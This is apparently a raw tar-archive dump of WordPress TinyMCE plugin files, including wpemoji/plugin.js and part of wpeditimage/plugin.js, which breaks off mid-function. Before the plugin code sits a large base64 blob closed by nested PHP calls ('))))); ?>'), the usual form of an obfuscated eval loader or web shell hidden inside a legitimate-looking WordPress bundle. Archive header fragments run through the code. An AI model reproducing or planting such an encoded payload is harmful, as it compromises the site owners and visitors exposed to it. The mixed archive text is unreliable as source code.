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'))))); ?>wpemoji/plugin.js000060400000006774151734645250010100 0ustar00( function( tinymce ) { tinymce.PluginManager.add( 'wpemoji', function( editor ) { var typing, wp = window.wp, settings = window._wpemojiSettings, env = tinymce.Env, ua = window.navigator.userAgent, isWin = ua.indexOf( 'Windows' ) > -1, isWin8 = ( function() { var match = ua.match( /Windows NT 6\.(\d)/ ); if ( match && match[1] > 1 ) { return true; } return false; }()); if ( ! wp || ! wp.emoji || settings.supports.everything ) { return; } function setImgAttr( image ) { image.className = 'emoji'; image.setAttribute( 'data-mce-resize', 'false' ); image.setAttribute( 'data-mce-placeholder', '1' ); image.setAttribute( 'data-wp-emoji', '1' ); } function replaceEmoji( node ) { var imgAttr = { 'data-mce-resize': 'false', 'data-mce-placeholder': '1', 'data-wp-emoji': '1' }; wp.emoji.parse( node, { imgAttr: imgAttr } ); } // Test if the node text contains emoji char(s) and replace. function parseNode( node ) { var selection, bookmark; if ( node && window.twemoji && window.twemoji.test( node.textContent || node.innerText ) ) { if ( env.webkit ) { selection = editor.selection; bookmark = selection.getBookmark(); } replaceEmoji( node ); if ( env.webkit ) { selection.moveToBookmark( bookmark ); } } } if ( isWin8 ) { /* * Windows 8+ emoji can be "typed" with the onscreen keyboard. * That triggers the normal keyboard events, but not the 'input' event. * Thankfully it sets keyCode 231 when the onscreen keyboard inserts any emoji. */ editor.on( 'keyup', function( event ) { if ( event.keyCode === 231 ) { parseNode( editor.selection.getNode() ); } } ); } else if ( ! isWin ) { /* * In MacOS inserting emoji doesn't trigger the stanradr keyboard events. * Thankfully it triggers the 'input' event. * This works in Android and iOS as well. */ editor.on( 'keydown keyup', function( event ) { typing = ( event.type === 'keydown' ); } ); editor.on( 'input', function() { if ( typing ) { return; } parseNode( editor.selection.getNode() ); }); } editor.on( 'setcontent', function( event ) { var selection = editor.selection, node = selection.getNode(); if ( window.twemoji && window.twemoji.test( node.textContent || node.innerText ) ) { replaceEmoji( node ); // In IE all content in the editor is left selected after wp.emoji.parse()... // Collapse the selection to the beginning. if ( env.ie && env.ie < 9 && event.load && node && node.nodeName === 'BODY' ) { selection.collapse( true ); } } } ); // Convert Twemoji compatible pasted emoji replacement images into our format. editor.on( 'PastePostProcess', function( event ) { if ( window.twemoji ) { tinymce.each( editor.dom.$( 'img.emoji', event.node ), function( image ) { if ( image.alt && window.twemoji.test( image.alt ) ) { setImgAttr( image ); } }); } }); editor.on( 'postprocess', function( event ) { if ( event.content ) { event.content = event.content.replace( /]+data-wp-emoji="[^>]+>/g, function( img ) { var alt = img.match( /alt="([^"]+)"/ ); if ( alt && alt[1] ) { return alt[1]; } return img; }); } } ); editor.on( 'resolvename', function( event ) { if ( event.target.nodeName === 'IMG' && editor.dom.getAttrib( event.target, 'data-wp-emoji' ) ) { event.preventDefault(); } } ); } ); } )( window.tinymce ); wpeditimage/plugin.js000060400000062052151734645250010714 0ustar00/* global tinymce */ tinymce.PluginManager.add( 'wpeditimage', function( editor ) { var toolbar, serializer, touchOnImage, pasteInCaption, each = tinymce.each, trim = tinymce.trim, iOS = tinymce.Env.iOS; function isPlaceholder( node ) { return !! ( editor.dom.getAttrib( node, 'data-mce-placeholder' ) || editor.dom.getAttrib( node, 'data-mce-object' ) ); } editor.addButton( 'wp_img_remove', { tooltip: 'Remove', icon: 'dashicon dashicons-no', onclick: function() { removeImage( editor.selection.getNode() ); } } ); editor.addButton( 'wp_img_edit', { tooltip: 'Edit|button', // '|button' is not displayed, only used for context. icon: 'dashicon dashicons-edit', onclick: function() { editImage( editor.selection.getNode() ); } } ); each( { alignleft: 'Align left', aligncenter: 'Align center', alignright: 'Align right', alignnone: 'No alignment' }, function( tooltip, name ) { var direction = name.slice( 5 ); editor.addButton( 'wp_img_' + name, { tooltip: tooltip, icon: 'dashicon dashicons-align-' + direction, cmd: 'alignnone' === name ? 'wpAlignNone' : 'Justify' + direction.slice( 0, 1 ).toUpperCase() + direction.slice( 1 ), onPostRender: function() { var self = this; editor.on( 'NodeChange', function( event ) { var node; // Don't bother. if ( event.element.nodeName !== 'IMG' ) { return; } node = editor.dom.getParent( event.element, '.wp-caption' ) || event.element; if ( 'alignnone' === name ) { self.active( ! /\balign(left|center|right)\b/.test( node.className ) ); } else { self.active( editor.dom.hasClass( node, name ) ); } } ); } } ); } ); editor.once( 'preinit', function() { if ( editor.wp && editor.wp._createToolbar ) { toolbar = editor.wp._createToolbar( [ 'wp_img_alignleft', 'wp_img_aligncenter', 'wp_img_alignright', 'wp_img_alignnone', 'wp_img_edit', 'wp_img_remove' ] ); } } ); editor.on( 'wptoolbar', function( event ) { if ( event.element.nodeName === 'IMG' && ! isPlaceholder( event.element ) ) { event.toolbar = toolbar; } } ); function isNonEditable( node ) { var parent = editor.$( node ).parents( '[contenteditable]' ); return parent && parent.attr( 'contenteditable' ) === 'false'; } // Safari on iOS fails to select images in contentEditoble mode on touch. // Select them again. if ( iOS ) { editor.on( 'init', function() { editor.on( 'touchstart', function( event ) { if ( event.target.nodeName === 'IMG' && ! isNonEditable( event.target ) ) { touchOnImage = true; } }); editor.dom.bind( editor.getDoc(), 'touchmove', function() { touchOnImage = false; }); editor.on( 'touchend', function( event ) { if ( touchOnImage && event.target.nodeName === 'IMG' && ! isNonEditable( event.target ) ) { var node = event.target; touchOnImage = false; window.setTimeout( function() { editor.selection.select( node ); editor.nodeChanged(); }, 100 ); } else if ( toolbar ) { toolbar.hide(); } }); }); } function parseShortcode( content ) { return content.replace( /(?:

)?\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\](?:<\/p>)?/g, function( a, b, c ) { var id, align, classes, caption, img, width; id = b.match( /id=['"]([^'"]*)['"] ?/ ); if ( id ) { b = b.replace( id[0], '' ); } align = b.match( /align=['"]([^'"]*)['"] ?/ ); if ( align ) { b = b.replace( align[0], '' ); } classes = b.match( /class=['"]([^'"]*)['"] ?/ ); if ( classes ) { b = b.replace( classes[0], '' ); } width = b.match( /width=['"]([0-9]*)['"] ?/ ); if ( width ) { b = b.replace( width[0], '' ); } c = trim( c ); img = c.match( /((?:]+>)?]+>(?:<\/a>)?)([\s\S]*)/i ); if ( img && img[2] ) { caption = trim( img[2] ); img = trim( img[1] ); } else { // Old captions shortcode style. caption = trim( b ).replace( /caption=['"]/, '' ).replace( /['"]$/, '' ); img = c; } id = ( id && id[1] ) ? id[1].replace( /[<>&]+/g, '' ) : ''; align = ( align && align[1] ) ? align[1] : 'alignnone'; classes = ( classes && classes[1] ) ? ' ' + classes[1].replace( /[<>&]+/g, '' ) : ''; if ( ! width && img ) { width = img.match( /width=['"]([0-9]*)['"]/ ); } if ( width && width[1] ) { width = width[1]; } if ( ! width || ! caption ) { return c; } width = parseInt( width, 10 ); if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) { width += 10; } return '

'; }); } function getShortcode( content ) { return content.replace( /(?:
]+mceTemp[^>]+>)?\s*(
